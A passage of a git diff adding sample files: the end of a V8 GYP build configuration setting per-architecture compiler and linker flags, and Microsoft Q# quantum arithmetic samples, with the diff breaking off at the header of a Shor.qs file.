+                    'cflags!': ['-mfp32', '-mfpxx'],
+                    'conditions': [
+                      [ 'clang==0', {
+                        'cflags': ['-Wa,-mips32r6'],
+                      }],
+                    ],
+                    'cflags': ['-mips32r6'],
+                    'ldflags': ['-mips32r6'],
+                  }],
+                  ['mips_arch_variant=="r2"', {
+                    'conditions': [
+                      [ 'mips_fpu_mode=="fp64"', {
+                        'defines': [
+                          '_MIPS_ARCH_MIPS32R2',
+                          'FPU_MODE_FP64',
+                        ],
+                        'cflags': ['-mfp64'],
+                      }],
+                      ['mips_fpu_mode=="fpxx"', {
+                        'defines': [
+                          '_MIPS_ARCH_MIPS32R2',
+                          'FPU_MODE_FPXX',
+                        ],
+                        'cflags': ['-mfpxx'],
+                      }],
+                      ['mips_fpu_mode=="fp32"', {
+                        'defines': [
+                          '_MIPS_ARCH_MIPS32R2',
+                          'FPU_MODE_FP32',
+                        ],
+                        'cflags': ['-mfp32'],
+                      }],
+                      [ 'clang==0', {
+                        'cflags': ['-Wa,-mips32r2'],
+                      }],
+                    ],
+                    'cflags': ['-mips32r2'],
+                    'ldflags': ['-mips32r2'],
+                  }],
+                  ['mips_arch_variant=="r1"', {
+                    'defines': [
+                      'FPU_MODE_FP32',
+                    ],
+                    'cflags!': ['-mfp64', '-mfpxx'],
+                    'conditions': [
+                      [ 'clang==0', {
+                        'cflags': ['-Wa,-mips32'],
+                      }],
+                    ],
+                    'cflags': ['-mips32'],
+                    'ldflags': ['-mips32'],
+                  }],
+                  ['mips_arch_variant=="rx"', {
+                    'defines': [
+                      '_MIPS_ARCH_MIPS32RX',
+                      'FPU_MODE_FPXX',
+                    ],
+                    'cflags!': ['-mfp64', '-mfp32'],
+                    'conditions': [
+                      [ 'clang==0', {
+                        'cflags': ['-Wa,-mips32'],
+                      }],
+                    ],
+                    'cflags': ['-mips32', '-mfpxx'],
+                    'ldflags': ['-mips32'],
+                  }],
+                ],
+              }, {
+                # 'v8_target_arch!=target_arch'
+                # Target not built with an MIPS CXX compiler (simulator build).
+                'conditions': [
+                  ['mips_arch_variant=="r6"', {
+                    'defines': [
+                      '_MIPS_ARCH_MIPS32R6',
+                      'FPU_MODE_FP64',
+                    ],
+                  }],
+                  ['mips_arch_variant=="r2"', {
+                    'conditions': [
+                      [ 'mips_fpu_mode=="fp64"', {
+                        'defines': [
+                          '_MIPS_ARCH_MIPS32R2',
+                          'FPU_MODE_FP64',
+                        ],
+                      }],
+                      ['mips_fpu_mode=="fpxx"', {
+                        'defines': [
+                          '_MIPS_ARCH_MIPS32R2',
+                          'FPU_MODE_FPXX',
+                        ],
+                      }],
+                      ['mips_fpu_mode=="fp32"', {
+                        'defines': [
+                          '_MIPS_ARCH_MIPS32R2',
+                          'FPU_MODE_FP32',
+                        ],
+                      }],
+                    ],
+                  }],
+                  ['mips_arch_variant=="r1"', {
+                    'defines': [
+                      'FPU_MODE_FP32',
+                    ],
+                  }],
+                  ['mips_arch_variant=="rx"', {
+                    'defines': [
+                      '_MIPS_ARCH_MIPS32RX',
+                      'FPU_MODE_FPXX',
+                    ],
+                  }],
+                ],
+              }],
+            ],
+          }],  #_toolset=="target"
+          ['_toolset=="host"', {
+            'conditions': [
+              ['mips_arch_variant=="rx"', {
+                'defines': [
+                  '_MIPS_ARCH_MIPS32RX',
+                  'FPU_MODE_FPXX',
+                ],
+              }],
+              ['mips_arch_variant=="r6"', {
+                'defines': [
+                  '_MIPS_ARCH_MIPS32R6',
+                  'FPU_MODE_FP64',
+                ],
+              }],
+              ['mips_arch_variant=="r2"', {
+                'conditions': [
+                  ['mips_fpu_mode=="fp64"', {
+                    'defines': [
+                      '_MIPS_ARCH_MIPS32R2',
+                      'FPU_MODE_FP64',
+                    ],
+                  }],
+                  ['mips_fpu_mode=="fpxx"', {
+                    'defines': [
+                      '_MIPS_ARCH_MIPS32R2',
+                      'FPU_MODE_FPXX',
+                    ],
+                  }],
+                  ['mips_fpu_mode=="fp32"', {
+                    'defines': [
+                      '_MIPS_ARCH_MIPS32R2',
+                      'FPU_MODE_FP32'
+                    ],
+                  }],
+                ],
+              }],
+              ['mips_arch_variant=="r1"', {
+                'defines': ['FPU_MODE_FP32',],
+              }],
+            ]
+          }],  #_toolset=="host"
+        ],
+      }],  # v8_target_arch=="mips"
+      ['v8_target_arch=="mipsel"', {
+        'defines': [
+          'V8_TARGET_ARCH_MIPS',
+        ],
+        'conditions': [
+          [ 'v8_can_use_fpu_instructions=="true"', {
+            'defines': [
+              'CAN_USE_FPU_INSTRUCTIONS',
+            ],
+          }],
+          [ 'v8_use_mips_abi_hardfloat=="true"', {
+            'defines': [
+              '__mips_hard_float=1',
+              'CAN_USE_FPU_INSTRUCTIONS',
+            ],
+          }, {
+            'defines': [
+              '__mips_soft_float=1'
+            ],
+          }],
+        ],
+        'target_conditions': [
+          ['_toolset=="target"', {
+            'conditions': [
+              ['v8_target_arch==target_arch', {
+                # Target built with a Mips CXX compiler.
+                'cflags': [
+                  '-EL',
+                  '-Wno-error=array-bounds',  # Workaround https://gcc.gnu.org/bugzilla/show_bug.cgi?id=56273
+                ],
+                'ldflags': ['-EL'],
+                'conditions': [
+                  [ 'v8_use_mips_abi_hardfloat=="true"', {
+                    'cflags': ['-mhard-float'],
+                    'ldflags': ['-mhard-float'],
+                  }, {
+                    'cflags': ['-msoft-float'],
+                    'ldflags': ['-msoft-float'],
+                  }],
+                  ['mips_arch_variant=="r6"', {
+                    'defines': [
+                      '_MIPS_ARCH_MIPS32R6',
+                      'FPU_MODE_FP64',
+                    ],
+                    'cflags!': ['-mfp32', '-mfpxx'],
+                    'conditions': [
+                      [ 'clang==0', {
+                        'cflags': ['-Wa,-mips32r6'],
+                      }],
+                    ],
+                    'cflags': ['-mips32r6'],
+                    'ldflags': ['-mips32r6'],
+                  }],
+                  ['mips_arch_variant=="r2"', {
+                    'conditions': [
+                      [ 'mips_fpu_mode=="fp64"', {
+                        'defines': [
+                          '_MIPS_ARCH_MIPS32R2',
+                          'FPU_MODE_FP64',
+                        ],
+                        'cflags': ['-mfp64'],
+                      }],
+                      ['mips_fpu_mode=="fpxx"', {
+                        'defines': [
+                          '_MIPS_ARCH_MIPS32R2',
+                          'FPU_MODE_FPXX',
+                        ],
+                        'cflags': ['-mfpxx'],
+                      }],
+                      ['mips_fpu_mode=="fp32"', {
+                        'defines': [
+                          '_MIPS_ARCH_MIPS32R2',
+                          'FPU_MODE_FP32',
+                        ],
+                        'cflags': ['-mfp32'],
+                      }],
+                      [ 'clang==0', {
+                        'cflags': ['-Wa,-mips32r2'],
+                      }],
+                    ],
+                    'cflags': ['-mips32r2'],
+                    'ldflags': ['-mips32r2'],
+                  }],
+                  ['mips_arch_variant=="r1"', {
+                    'defines': [
+                      'FPU_MODE_FP32',
+                    ],
+                    'cflags!': ['-mfp64', '-mfpxx'],
+                    'conditions': [
+                      [ 'clang==0', {
+                        'cflags': ['-Wa,-mips32'],
+                      }],
+                    ],
+                    'cflags': ['-mips32'],
+                    'ldflags': ['-mips32'],
+                  }],
+                  ['mips_arch_variant=="rx"', {
+                    'defines': [
+                      '_MIPS_ARCH_MIPS32RX',
+                      'FPU_MODE_FPXX',
+                    ],
+                    'cflags!': ['-mfp64', '-mfp32'],
+                    'conditions': [
+                      [ 'clang==0', {
+                        'cflags': ['-Wa,-mips32'],
+                      }],
+                    ],
+                    'cflags': ['-mips32', '-mfpxx'],
+                    'ldflags': ['-mips32'],
+                  }],
+                  ['mips_arch_variant=="loongson"', {
+                    'defines': [
+                      '_MIPS_ARCH_LOONGSON',
+                      'FPU_MODE_FP32',
+                    ],
+                    'cflags!': ['-mfp64', '-mfpxx'],
+                    'conditions': [
+                      [ 'clang==0', {
+                        'cflags': ['-Wa,-mips3'],
+                      }],
+                    ],
+                    'cflags': ['-mips3', '-mfp32'],
+                  }],
+                ],
+              }, {
+                # 'v8_target_arch!=target_arch'
+                # Target not built with an MIPS CXX compiler (simulator build).
+                'conditions': [
+                  ['mips_arch_variant=="r6"', {
+                    'defines': [
+                      '_MIPS_ARCH_MIPS32R6',
+                      'FPU_MODE_FP64',
+                    ],
+                  }],
+                  ['mips_arch_variant=="r2"', {
+                    'conditions': [
+                      [ 'mips_fpu_mode=="fp64"', {
+                        'defines': [
+                          '_MIPS_ARCH_MIPS32R2',
+                          'FPU_MODE_FP64',
+                        ],
+                      }],
+                      ['mips_fpu_mode=="fpxx"', {
+                        'defines': [
+                          '_MIPS_ARCH_MIPS32R2',
+                          'FPU_MODE_FPXX',
+                        ],
+                      }],
+                      ['mips_fpu_mode=="fp32"', {
+                        'defines': [
+                          '_MIPS_ARCH_MIPS32R2',
+                          'FPU_MODE_FP32',
+                        ],
+                      }],
+                    ],
+                  }],
+                  ['mips_arch_variant=="r1"', {
+                    'defines': [
+                      'FPU_MODE_FP32',
+                    ],
+                  }],
+                  ['mips_arch_variant=="rx"', {
+                    'defines': [
+                      '_MIPS_ARCH_MIPS32RX',
+                      'FPU_MODE_FPXX',
+                    ],
+                  }],
+                  ['mips_arch_variant=="loongson"', {
+                    'defines': [
+                      '_MIPS_ARCH_LOONGSON',
+                      'FPU_MODE_FP32',
+                    ],
+                  }],
+                ],
+              }],
+            ],
+          }], #_toolset=="target
+          ['_toolset=="host"', {
+            'conditions': [
+              ['mips_arch_variant=="rx"', {
+                'defines': [
+                  '_MIPS_ARCH_MIPS32RX',
+                  'FPU_MODE_FPXX',
+                ],
+              }],
+              ['mips_arch_variant=="r6"', {
+                'defines': [
+                  '_MIPS_ARCH_MIPS32R6',
+                  'FPU_MODE_FP64',
+                ],
+              }],
+              ['mips_arch_variant=="r2"', {
+                'conditions': [
+                  ['mips_fpu_mode=="fp64"', {
+                    'defines': [
+                      '_MIPS_ARCH_MIPS32R2',
+                      'FPU_MODE_FP64',
+                    ],
+                  }],
+                  ['mips_fpu_mode=="fpxx"', {
+                    'defines': [
+                      '_MIPS_ARCH_MIPS32R2',
+                      'FPU_MODE_FPXX',
+                    ],
+                  }],
+                  ['mips_fpu_mode=="fp32"', {
+                    'defines': [
+                      '_MIPS_ARCH_MIPS32R2',
+                      'FPU_MODE_FP32'
+                    ],
+                  }],
+                ],
+              }],
+              ['mips_arch_variant=="r1"', {
+                'defines': ['FPU_MODE_FP32',],
+              }],
+              ['mips_arch_variant=="loongson"', {
+                'defines': [
+                  '_MIPS_ARCH_LOONGSON',
+                  'FPU_MODE_FP32',
+                ],
+              }],
+            ]
+          }],
+        ],
+      }],  # v8_target_arch=="mipsel"
+      ['v8_target_arch=="mips64el" or v8_target_arch=="mips64"', {
+        'defines': [
+          'V8_TARGET_ARCH_MIPS64',
+        ],
+        'conditions': [
+          [ 'v8_can_use_fpu_instructions=="true"', {
+            'defines': [
+              'CAN_USE_FPU_INSTRUCTIONS',
+            ],
+          }],
+          [ 'v8_host_byteorder=="little"', {
+            'defines': [
+              'V8_TARGET_ARCH_MIPS64_LE',
+            ],
+          }],
+          [ 'v8_host_byteorder=="big"', {
+            'defines': [
+              'V8_TARGET_ARCH_MIPS64_BE',
+            ],
+          }],
+          [ 'v8_use_mips_abi_hardfloat=="true"', {
+            'defines': [
+              '__mips_hard_float=1',
+              'CAN_USE_FPU_INSTRUCTIONS',
+            ],
+          }, {
+            'defines': [
+              '__mips_soft_float=1'
+            ],
+          }],
+         ],
+        'target_conditions': [
+          ['_toolset=="target"', {
+            'conditions': [
+              ['v8_target_arch==target_arch', {
+                'cflags': [
+                  '-Wno-error=array-bounds',  # Workaround https://gcc.gnu.org/bugzilla/show_bug.cgi?id=56273
+                ],
+                'conditions': [
+                  ['v8_target_arch=="mips64el"', {
+                    'cflags': ['-EL'],
+                    'ldflags': ['-EL'],
+                  }],
+                  ['v8_target_arch=="mips64"', {
+                    'cflags': ['-EB'],
+                    'ldflags': ['-EB'],
+                  }],
+                  [ 'v8_use_mips_abi_hardfloat=="true"', {
+                    'cflags': ['-mhard-float'],
+                    'ldflags': ['-mhard-float'],
+                  }, {
+                    'cflags': ['-msoft-float'],
+                    'ldflags': ['-msoft-float'],
+                  }],
+                  ['mips_arch_variant=="r6"', {
+                    'defines': ['_MIPS_ARCH_MIPS64R6',],
+                    'conditions': [
+                      [ 'clang==0', {
+                        'cflags': ['-Wa,-mips64r6'],
+                      }],
+                    ],
+                    'cflags': ['-mips64r6', '-mabi=64'],
+                    'ldflags': ['-mips64r6', '-mabi=64'],
+                  }],
+                  ['mips_arch_variant=="r2"', {
+                    'defines': ['_MIPS_ARCH_MIPS64R2',],
+                    'conditions': [
+                      [ 'clang==0', {
+                        'cflags': ['-Wa,-mips64r2'],
+                      }],
+                    ],
+                    'cflags': ['-mips64r2', '-mabi=64'],
+                    'ldflags': ['-mips64r2', '-mabi=64'],
+                  }],
+                ],
+              }, {
+                # 'v8_target_arch!=target_arch'
+                # Target not built with an MIPS CXX compiler (simulator build).
+                'conditions': [
+                  ['mips_arch_variant=="r6"', {
+                    'defines': ['_MIPS_ARCH_MIPS64R6',],
+                  }],
+                  ['mips_arch_variant=="r2"', {
+                    'defines': ['_MIPS_ARCH_MIPS64R2',],
+                  }],
+                ],
+              }],
+            ],
+          }],  #'_toolset=="target"
+          ['_toolset=="host"', {
+            'conditions': [
+              ['mips_arch_variant=="r6"', {
+                'defines': ['_MIPS_ARCH_MIPS64R6',],
+              }],
+              ['mips_arch_variant=="r2"', {
+                'defines': ['_MIPS_ARCH_MIPS64R2',],
+              }],
+            ],
+          }],  #'_toolset=="host"
+        ],
+      }],  # v8_target_arch=="mips64el"
+      ['v8_target_arch=="x64"', {
+        'defines': [
+          'V8_TARGET_ARCH_X64',
+        ],
+        'xcode_settings': {
+          'ARCHS': [ 'x86_64' ],
+        },
+        'msvs_settings': {
+          'VCLinkerTool': {
+            'StackReserveSize': '2097152',
+          },
+        },
+        'msvs_configuration_platform': 'x64',
+      }],  # v8_target_arch=="x64"
+      ['v8_target_arch=="x32"', {
+        'defines': [
+          # x32 port shares the source code with x64 port.
+          'V8_TARGET_ARCH_X64',
+          'V8_TARGET_ARCH_32_BIT',
+        ],
+        'cflags': [
+          '-mx32',
+          # Inhibit warning if long long type is used.
+          '-Wno-long-long',
+        ],
+        'ldflags': [
+          '-mx32',
+        ],
+      }],  # v8_target_arch=="x32"
+      ['linux_use_gold_flags==1', {
+        # Newer gccs and clangs support -fuse-ld, use the flag to force gold
+        # selection.
+        # gcc -- http://gcc.gnu.org/onlinedocs/gcc-4.8.0/gcc/Optimize-Options.html
+        'ldflags': [ '-fuse-ld=gold', ],
+      }],
+      ['linux_use_bundled_binutils==1', {
+        'cflags': [
+          '-B<!(cd <(DEPTH) && pwd -P)/<(binutils_dir)',
+        ],
+      }],
+      ['linux_use_bundled_gold==1', {
+        # Put our binutils, which contains gold in the search path. We pass
+        # the path to gold to the compiler. gyp leaves unspecified what the
+        # cwd is when running the compiler, so the normal gyp path-munging
+        # fails us. This hack gets the right path.
+        'ldflags': [
+          '-B<!(cd <(DEPTH) && pwd -P)/<(binutils_dir)',
+        ],
+      }],
+      ['OS=="win"', {
+        'defines': [
+          'WIN32',
+        ],
+        # 4351: VS 2005 and later are warning us that they've fixed a bug
+        #       present in VS 2003 and earlier.
+        'msvs_disabled_warnings': [4351],
+        'msvs_configuration_attributes': {
+          'OutputDirectory': '<(DEPTH)\\build\\$(ConfigurationName)',
+          'IntermediateDirectory': '$(OutDir)\\obj\\$(ProjectName)',
+          'CharacterSet': '1',
+        },
+      }],
+      ['OS=="win" and v8_target_arch=="ia32"', {
+        'msvs_settings': {
+          'VCCLCompilerTool': {
+            # Ensure no surprising artifacts from 80bit double math with x86.
+            'AdditionalOptions': ['/arch:SSE2'],
+          },
+        },
+      }],
+      ['OS=="win" and v8_enable_prof==1', {
+        'msvs_settings': {
+          'VCLinkerTool': {
+            'GenerateMapFile': 'true',
+          },
+        },
+      }],
+      ['(OS=="linux" or OS=="freebsd" or OS=="openbsd" or OS=="solaris" \
+         or OS=="netbsd" or OS=="mac" or OS=="android" or OS=="qnx") and \
+        v8_target_arch=="ia32"', {
+        'cflags': [
+          '-msse2',
+          '-mfpmath=sse',
+          '-mmmx',  # Allows mmintrin.h for MMX intrinsics.
+        ],
+      }],
+      ['(OS=="linux" or OS=="freebsd" or OS=="openbsd" or OS=="solaris" \
+         or OS=="netbsd" or OS=="mac" or OS=="android" or OS=="qnx") and \
+        (v8_target_arch=="arm" or v8_target_arch=="ia32" or \
+         v8_target_arch=="x87" or v8_target_arch=="mips" or \
+         v8_target_arch=="mipsel" or v8_target_arch=="ppc" or \
+         v8_target_arch=="s390")', {
+        'target_conditions': [
+          ['_toolset=="host"', {
+            'conditions': [
+              ['host_cxx_is_biarch==1', {
+                'conditions': [
+                  ['host_arch=="s390" or host_arch=="s390x"', {
+                    'cflags': [ '-m31' ],
+                    'ldflags': [ '-m31' ]
+                  },{
+                   'cflags': [ '-m32' ],
+                   'ldflags': [ '-m32' ]
+                  }],
+                ],
+              }],
+            ],
+            'xcode_settings': {
+              'ARCHS': [ 'i386' ],
+            },
+          }],
+          ['_toolset=="target"', {
+            'conditions': [
+              ['target_cxx_is_biarch==1', {
+                'conditions': [
+                  ['host_arch=="s390" or host_arch=="s390x"', {
+                    'cflags': [ '-m31' ],
+                    'ldflags': [ '-m31' ]
+                  },{
+                   'cflags': [ '-m32' ],
+                   'ldflags': [ '-m32' ],
+                  }],
+                ],
+              }],
+            ],
+            'xcode_settings': {
+              'ARCHS': [ 'i386' ],
+            },
+          }],
+        ],
+      }],
+      ['(OS=="linux" or OS=="android") and \
+        (v8_target_arch=="x64" or v8_target_arch=="arm64" or \
+         v8_target_arch=="ppc64" or v8_target_arch=="s390x")', {
+        'target_conditions': [
+          ['_toolset=="host"', {
+            'conditions': [
+              ['host_cxx_is_biarch==1', {
+                'cflags': [ '-m64' ],
+                'ldflags': [ '-m64' ]
+              }],
+             ],
+           }],
+           ['_toolset=="target"', {
+             'conditions': [
+               ['target_cxx_is_biarch==1', {
+                 'cflags': [ '-m64' ],
+                 'ldflags': [ '-m64' ],
+               }],
+             ]
+           }],
+         ],
+      }],
+      ['OS=="android" and v8_android_log_stdout==1', {
+        'defines': [
+          'V8_ANDROID_LOG_STDOUT',
+        ],
+      }],
+      ['OS=="linux" or OS=="freebsd" or OS=="openbsd" or OS=="solaris" \
+         or OS=="netbsd" or OS=="qnx" or OS=="aix"', {
+        'conditions': [
+          [ 'v8_no_strict_aliasing==1', {
+            'cflags': [ '-fno-strict-aliasing' ],
+          }],
+        ],  # conditions
+      }],
+      ['OS=="solaris"', {
+        'defines': [ '__C99FEATURES__=1' ],  # isinf() etc.
+      }],
+      ['OS=="freebsd" or OS=="openbsd"', {
+        'cflags': [ '-I/usr/local/include' ],
+      }],
+      ['OS=="netbsd"', {
+        'cflags': [ '-I/usr/pkg/include' ],
+      }],
+      ['OS=="aix"', {
+        'defines': [
+          # Support for malloc(0)
+          '_LINUX_SOURCE_COMPAT=1',
+          '__STDC_FORMAT_MACROS',
+          '_ALL_SOURCE=1'],
+        'conditions': [
+          [ 'v8_target_arch=="ppc"', {
+            'ldflags': [ '-Wl,-bmaxdata:0x60000000/dsa' ],
+          }],
+          [ 'v8_target_arch=="ppc64"', {
+            'cflags': [ '-maix64' ],
+            'ldflags': [ '-maix64 -Wl,-bbigtoc' ],
+          }],
+        ],
+      }],
+    ],  # conditions
+    'configurations': {
+      # Abstract configuration for v8_optimized_debug == 0.
+      'DebugBase0': {
+        'abstract': 1,
+        'msvs_settings': {
+          'VCCLCompilerTool': {
+            'Optimization': '0',
+            'conditions': [
+              ['component=="shared_library" or force_dynamic_crt==1', {
+                'RuntimeLibrary': '3',  # /MDd
+              }, {
+                'RuntimeLibrary': '1',  # /MTd
+              }],
+            ],
+          },
+          'VCLinkerTool': {
+            'LinkIncremental': '2',
+          },
+        },
+        'variables': {
+          'v8_enable_slow_dchecks%': 1,
+        },
+        'conditions': [
+          ['OS=="linux" or OS=="freebsd" or OS=="openbsd" or OS=="netbsd" or \
+            OS=="qnx" or OS=="aix"', {
+            'cflags!': [
+              '-O3',
+              '-O2',
+              '-O1',
+              '-Os',
+            ],
+            'cflags': [
+              '-fdata-sections',
+              '-ffunction-sections',
+            ],
+          }],
+          ['OS=="mac"', {
+            'xcode_settings': {
+               'GCC_OPTIMIZATION_LEVEL': '0',  # -O0
+            },
+          }],
+          ['v8_enable_slow_dchecks==1', {
+            'defines': [
+              'ENABLE_SLOW_DCHECKS',
+            ],
+          }],
+        ],
+      },  # DebugBase0
+      # Abstract configuration for v8_optimized_debug == 1.
+      'DebugBase1': {
+        'abstract': 1,
+        'msvs_settings': {
+          'VCCLCompilerTool': {
+            'Optimization': '2',
+            'InlineFunctionExpansion': '2',
+            'EnableIntrinsicFunctions': 'true',
+            'FavorSizeOrSpeed': '0',
+            'StringPooling': 'true',
+            'BasicRuntimeChecks': '0',
+            'conditions': [
+              ['component=="shared_library" or force_dynamic_crt==1', {
+                'RuntimeLibrary': '3',  #/MDd
+              }, {
+                'RuntimeLibrary': '1',  #/MTd
+              }],
+            ],
+          },
+          'VCLinkerTool': {
+            'LinkIncremental': '1',
+            'OptimizeReferences': '2',
+            'EnableCOMDATFolding': '2',
+          },
+        },
+        'variables': {
+          'v8_enable_slow_dchecks%': 0,
+        },
+        'conditions': [
+          ['OS=="linux" or OS=="freebsd" or OS=="openbsd" or OS=="netbsd" or \
+            OS=="qnx" or OS=="aix"', {
+            'cflags!': [
+              '-O0',
+              '-O1',
+              '-Os',
+            ],
+            'cflags': [
+              '-fdata-sections',
+              '-ffunction-sections',
+            ],
+            'conditions': [
+              # Don't use -O3 with sanitizers.
+              ['asan==0 and msan==0 and lsan==0 \
+                and tsan==0 and ubsan==0 and ubsan_vptr==0', {
+                'cflags': ['-O3'],
+                'cflags!': ['-O2'],
+                }, {
+                'cflags': ['-O2'],
+                'cflags!': ['-O3'],
+              }],
+            ],
+          }],
+          ['OS=="mac"', {
+            'xcode_settings': {
+              'GCC_OPTIMIZATION_LEVEL': '3',  # -O3
+              'GCC_STRICT_ALIASING': 'YES',
+            },
+          }],
+          ['v8_enable_slow_dchecks==1', {
+            'defines': [
+              'ENABLE_SLOW_DCHECKS',
+            ],
+          }],
+        ],
+      },  # DebugBase1
+      # Common settings for the Debug configuration.
+      'DebugBaseCommon': {
+        'abstract': 1,
+        'defines': [
+          'ENABLE_DISASSEMBLER',
+          'V8_ENABLE_CHECKS',
+          'OBJECT_PRINT',
+          'VERIFY_HEAP',
+          'DEBUG',
+          'TRACE_MAPS'
+        ],
+        'conditions': [
+          ['OS=="linux" or OS=="freebsd" or OS=="openbsd" or OS=="netbsd" or \
+            OS=="qnx" or OS=="aix"', {
+            'cflags': [ '-Woverloaded-virtual', '<(wno_array_bounds)', ],
+          }],
+          ['OS=="linux" and v8_enable_backtrace==1', {
+            # Support for backtrace_symbols.
+            'ldflags': [ '-rdynamic' ],
+          }],
+          ['OS=="linux" and disable_glibcxx_debug==0', {
+            # Enable libstdc++ debugging facilities to help catch problems
+            # early, see http://crbug.com/65151 .
+            'defines': ['_GLIBCXX_DEBUG=1',],
+          }],
+          ['OS=="aix"', {
+            'ldflags': [ '-Wl,-bbigtoc' ],
+            'conditions': [
+              ['v8_target_arch=="ppc64"', {
+                'cflags': [ '-maix64 -mcmodel=large' ],
+              }],
+            ],
+          }],
+          ['OS=="android"', {
+            'variables': {
+              'android_full_debug%': 1,
+            },
+            'conditions': [
+              ['android_full_debug==0', {
+                # Disable full debug if we want a faster v8 in a debug build.
+                # TODO(2304): pass DISABLE_DEBUG_ASSERT instead of hiding DEBUG.
+                'defines!': [
+                  'DEBUG',
+                  'ENABLE_SLOW_DCHECKS',
+                ],
+              }],
+            ],
+          }],
+          # TODO(pcc): Re-enable in LTO builds once we've fixed the intermittent
+          # link failures (crbug.com/513074).
+          ['linux_use_gold_flags==1 and use_lto==0', {
+            'target_conditions': [
+              ['_toolset=="target"', {
+                'ldflags': [
+                  # Experimentation found that using four linking threads
+                  # saved ~20% of link time.
+                  # https://groups.google.com/a/chromium.org/group/chromium-dev/browse_thread/thread/281527606915bb36
+                  # Only apply this to the target linker, since the host
+                  # linker might not be gold, but isn't used much anyway.
+                  '-Wl,--threads',
+                  '-Wl,--thread-count=4',
+                ],
+              }],
+            ],
+          }],
+        ],
+      },  # DebugBaseCommon
+      'Debug': {
+        'inherit_from': ['DebugBaseCommon'],
+        'conditions': [
+          ['v8_optimized_debug==0', {
+            'inherit_from': ['DebugBase0'],
+          }, {
+            'inherit_from': ['DebugBase1'],
+          }],
+        ],
+      },  # Debug
+      'ReleaseBase': {
+        'abstract': 1,
+        'variables': {
+          'v8_enable_slow_dchecks%': 0,
+        },
+        'conditions': [
+          ['OS=="linux" or OS=="freebsd" or OS=="openbsd" or OS=="netbsd" \
+            or OS=="aix"', {
+            'cflags!': [
+              '-Os',
+            ],
+            'cflags': [
+              '-fdata-sections',
+              '-ffunction-sections',
+              '<(wno_array_bounds)',
+            ],
+            'conditions': [
+              # Don't use -O3 with sanitizers.
+              ['asan==0 and msan==0 and lsan==0 \
+                and tsan==0 and ubsan==0 and ubsan_vptr==0', {
+                'cflags': ['-O3'],
+                'cflags!': ['-O2'],
+              }, {
+                'cflags': ['-O2'],
+                'cflags!': ['-O3'],
+              }],
+            ],
+          }],
+          ['OS=="android"', {
+            'cflags!': [
+              '-O3',
+              '-Os',
+            ],
+            'cflags': [
+              '-fdata-sections',
+              '-ffunction-sections',
+              '-O2',
+            ],
+          }],
+          ['OS=="mac"', {
+            'xcode_settings': {
+              'GCC_OPTIMIZATION_LEVEL': '3',  # -O3
+
+              # -fstrict-aliasing.  Mainline gcc
+              # enables this at -O2 and above,
+              # but Apple gcc does not unless it
+              # is specified explicitly.
+              'GCC_STRICT_ALIASING': 'YES',
+            },
+          }],  # OS=="mac"
+          ['OS=="win"', {
+            'msvs_settings': {
+              'VCCLCompilerTool': {
+                'Optimization': '2',
+                'InlineFunctionExpansion': '2',
+                'EnableIntrinsicFunctions': 'true',
+                'FavorSizeOrSpeed': '0',
+                'StringPooling': 'true',
+                'conditions': [
+                  ['component=="shared_library" or force_dynamic_crt==1', {
+                    'RuntimeLibrary': '2',  #/MD
+                  }, {
+                    'RuntimeLibrary': '0',  #/MT
+                  }],
+                ],
+              },
+              'VCLinkerTool': {
+                'LinkIncremental': '1',
+                'OptimizeReferences': '2',
+                'EnableCOMDATFolding': '2',
+              },
+            },
+          }],  # OS=="win"
+          ['v8_enable_slow_dchecks==1', {
+            'defines': [
+              'ENABLE_SLOW_DCHECKS',
+            ],
+          }],
+        ],  # conditions
+      },  # Release
+      'Release': {
+        'inherit_from': ['ReleaseBase'],
+      },  # Debug
+      'conditions': [
+        [ 'OS=="win"', {
+          # TODO(bradnelson): add a gyp mechanism to make this more graceful.
+          'Debug_x64': {
+            'inherit_from': ['DebugBaseCommon'],
+            'conditions': [
+              ['v8_optimized_debug==0', {
+                'inherit_from': ['DebugBase0'],
+              }, {
+                'inherit_from': ['DebugBase1'],
+              }],
+            ],
+          },
+          'Release_x64': {
+            'inherit_from': ['ReleaseBase'],
+          },
+        }],
+      ],
+    },  # configurations
+  },  # target_defaults
+}
diff --git a/samples/Q#/CustomModAdd.qs b/samples/Q#/CustomModAdd.qs
new file mode 100644
index 0000000000..4b28e89937
--- /dev/null
+++ b/samples/Q#/CustomModAdd.qs
@@ -0,0 +1,64 @@
+// Copyright (c) Microsoft Corporation. All rights reserved.
+// Licensed under the MIT License.
+
+namespace Microsoft.Quantum.Numerics.Samples {
+    open Microsoft.Quantum.Intrinsic;
+    open Microsoft.Quantum.Arithmetic;
+    open Microsoft.Quantum.Diagnostics;
+    open Microsoft.Quantum.Arrays;
+
+    /// # Summary
+    /// Tests a modular addition similar to the one in Fig. 4
+    /// of https://arxiv.org/pdf/quant-ph/9511018v1.pdf.
+    ///
+    /// # Input
+    /// ## inputs1
+    /// List of integers to use for the first number
+    /// ## inputs2
+    /// List of integers to use for the second number
+    /// ## modulus
+    /// Modulus used when adding each pair of numbers
+    /// ## numBits
+    /// Number of bits to use to represent each number
+    operation CustomModAdd(inputs1 : Int[], inputs2 : Int[], modulus : Int,
+                            numBits : Int) : Int[]
+    {
+        EqualityFactI(Length(inputs1), Length(inputs2),
+                      "Input arrays need to be of equal length.");
+        mutable results = new Int[Length(inputs1)];
+        for (i in IndexRange(inputs1)) {
+            let input1 = inputs1[i];
+            let input2 = inputs2[i];
+            using ((xQubits, yQubits, mQubits, tmp, ctrl) = (Qubit[numBits], Qubit[numBits], Qubit[numBits], Qubit(), Qubit())) {
+                let x = LittleEndian(xQubits);
+                let y = LittleEndian(yQubits);
+                let m = LittleEndian(mQubits);
+                // initialize inputs
+                ApplyXorInPlace(input1, x);
+                ApplyXorInPlace(input2, y);
+                ApplyXorInPlace(modulus, m);
+
+                // first, add the two inputs
+                AddI(x, y);
+                // if the result is greater than or equal to the modulus,
+                // we have to subtract `modulus` from the result:
+                let yc = LittleEndian(yQubits + [tmp]);
+                (Adjoint AddI)(m, yc);
+                within {
+                    CNOT(tmp, ctrl);
+                } apply {
+                    // we should not have subtracted m if there is overflow:
+                    Controlled AddI([ctrl], (m, yc));
+                    // now, uncompute temporary qubits:
+                    Adjoint AddI(x, yc);
+                }
+                AddI(x, yc);
+                X(ctrl);
+
+                set results w/= i <- MeasureInteger(y);
+                ResetAll(xQubits + yQubits + mQubits);
+            }
+        }
+        return results;
+    }
+}
diff --git a/samples/Q#/Shor.qs b/samples/Q#/Shor.qs
new file mode 100644
index 0000000000..3b5474303d
--- /dev/null
+++ b/samples/Q#/Shor.qs
@@ -0,0 +1,383 @@
+// Copyright (c) Microsoft Corporation. All rights reserved.
+// Licensed under the MIT License.
